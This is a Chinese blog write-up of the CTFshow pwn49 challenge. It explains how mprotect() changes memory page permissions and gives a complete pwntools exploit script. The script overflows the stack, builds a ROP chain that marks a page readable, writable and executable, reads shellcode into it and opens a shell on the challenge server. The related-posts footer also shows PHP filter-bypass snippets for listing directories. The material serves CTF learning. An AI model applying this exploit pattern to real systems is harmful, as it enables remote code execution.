首页 > 其他分享 >CTFshow pwn49

CTFshow pwn49

时间:2024-03-07 15:14:46浏览次数:24  
标签:addr mprotect nx pwn49 CTFshow p32 payload 内存

Pwn mprotect()函数

以CTFshow pwn49为例。
学习mprotect函数
mprotect函数可以将内存权限进行修改为可读可写可执行。
int mprotect(const void *start, size_t len, int prot);mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。
一般prot直接修改为7,即可读可写可执行。
这样,我们就可以往某段内存写入shellcode执行了。
需要指出的是,锁指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。
在CTFshow pwn49中,file是静态编译的statically linked,checksec发现是Canary found(其实并没有,个人的checksec版本过低),依旧可以触发栈溢出漏洞。
思路:首先调用mprotect函数对内存页权限进行修改,之后调用read函数在适当位置读入shellcode

from pwn import *
context(os = 'linux', arch = 'i386', log_level = 'debug')
io = remote("pwn.challenge.ctf.show", 28264)
elf = ELF('./pwn')
offset = 0x12 + 0x4
mprotect_addr = elf.sym['mprotect']
read_addr = elf.sym['read']
nx_addr = 0x80DA000
nx_size = 0x1000
nx_prot = 0x7
pop_eax_edx_ebx = 0x8056194
shellcode = asm(shellcraft.sh())
payload = offset * b'a'
payload += p32(mprotect_addr)
payload += p32(pop_eax_edx_ebx)
payload += p32(nx_addr)
payload += p32(nx_size)
payload += p32(nx_prot)
#----------
payload += p32(read_addr)
payload += p32(nx_addr) #ret2 sh_addr
payload += p32(0) #read(fd, *buf, count)
payload += p32(nx_addr) 
payload += p32(nx_size)
io.sendline(payload)
io.sendline(shellcode)
io.interactive()

标签:addr,mprotect,nx,pwn49,CTFshow,p32,payload,内存
From: https://www.cnblogs.com/chang-room/p/18058918

相关文章

  • CTFshow web71-?
    查看根目录基本方法:var_dump print_rvar_export(上面两被过滤)var_dump(scandir("/");c=?><?php$a=newDirectoryIterator("glob:///*");foreach($aas$f){echo($f->__toString().'');}exit(0);?>后加exit(); 查看文件内容include("......
  • CTFshow pwn47-48
    CTFshowpwn47-48ret2libc的两道简单练习。还是很不熟练。pwn47已经给出了\bin\sh的字符串,还有输出了许多函数的地址,所以很容易拿到libc。frompwnimport*fromLibcSearcherimport*context(os='linux',arch='i386',log_level='debug')io=remote("pwn.challe......
  • ctfshow刷题记录-社工篇-1
    0x00题目来源:ctfshow-网络谜踪(社工类)题目描述:flag格式为ctfshow{纬度(精确到小数点后四位,不用进位),经度(精确到小数点后四位,不用进位)}例如若找到的经纬度为(11.45149,19.19810)则flag为ctfshow{11.4514,19.1981}(附件地址:https://ctfshow.lanzoui.com/iRHlmtek0ra)......
  • ctfshow刷题记录-cry方向-1
    0x00题目来源:ctfshow菜狗杯crypto方向base47题目描述:神必字符:E9CVT+HT5#X36RF4@LAU703+F$E-0N$@68LMXCVDRJJD5@MP#7MUZDTE?WWLG1S#L@+66H@59KTWYK8TW0RV神必字典:0123456789ABCDEFGHJKLMNPQRSTUVWXYZ?!@#$%^&*-+0x01第一次做这种base换表的题目,在网上查了查相关wp,感觉自......
  • ctfshow sql注入练习记录
    前言:继续做ctfshow的题了,本次为sql注入专题,从ctfshowweb177开始ctfshowweb177对空格,--+进行了过滤,注释符要换成#的url编码%23使用万能密码可以绕过1'or'1'='1';%23也可也使用/**/对空格进行绕过,进行联合查询-1'union/**/select/**/1,2,password/**/from/**/ctfshow_use......
  • ctfshow-ssrf
    web351<?phperror_reporting(0);highlight_file(__FILE__);$url=$_POST['url'];$ch=curl_init($url);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);$result=curl_exec($ch);curl_close($ch);echo($result);?&g......
  • 【Loading】ctfshow_WriteUp | MISC入门
    misc1题目分析打开图片就是flag,可以直接拿文字识别工具识别一下提交。misc2题目分析看到NG开头的内容猜测是png文件被修改了文件类型,保险起见用010Editor先看看十六进制文件:png头:png尾:更改文件后缀名为png,打开图片得到flag。misc3题目分析查了......
  • 【misc】ctfshow--CTF的一生如履薄冰
    解压的附件如下:666.zip这个压缩包是要密码的,打开txt看一下这个应该spamencode了直接解密:spammimic-decode解密结果为:h@ppy_n3w_y3ar_every_ctf3r_2024_g0g0g0!!!这个就是压缩包的密码,解压又是一个加密的压缩包,我们先来看看图片黑色背景下直接出key:H@ppy_CTFSH0W,打开......
  • 【pwn】ctfshow元旦水友赛--BadBoy
    首先先来看一下程序的保护情况这里got表可改,没有开地址随机接着看一下ida逻辑很直接,只有一个main函数,一点点分析这段代码buf[1]=__readfsqword(0x28u); init_func(argc,argv,envp); buf[0]='gfedcba'; v5=0LL; while((_DWORD)kl) {  puts("iamba......
  • 【Loading】ctfshow_WriteUp | _萌新
    萌新_密码1题目密文:53316C6B5A6A42684D3256695A44566A4E47526A4D5459774C5556375A6D49324D32566C4D4449354F4749345A6A526B4F48303D提交格式:KEY{XXXXXXXXXXXXXX}分析所有字符由数字和ABCDEF组成,先用HEX解码得到S1lkZjBhM2ViZDVjNGRjMTYwLUV7ZmI2M2VlMDI5OGI4ZjRkOH0=。......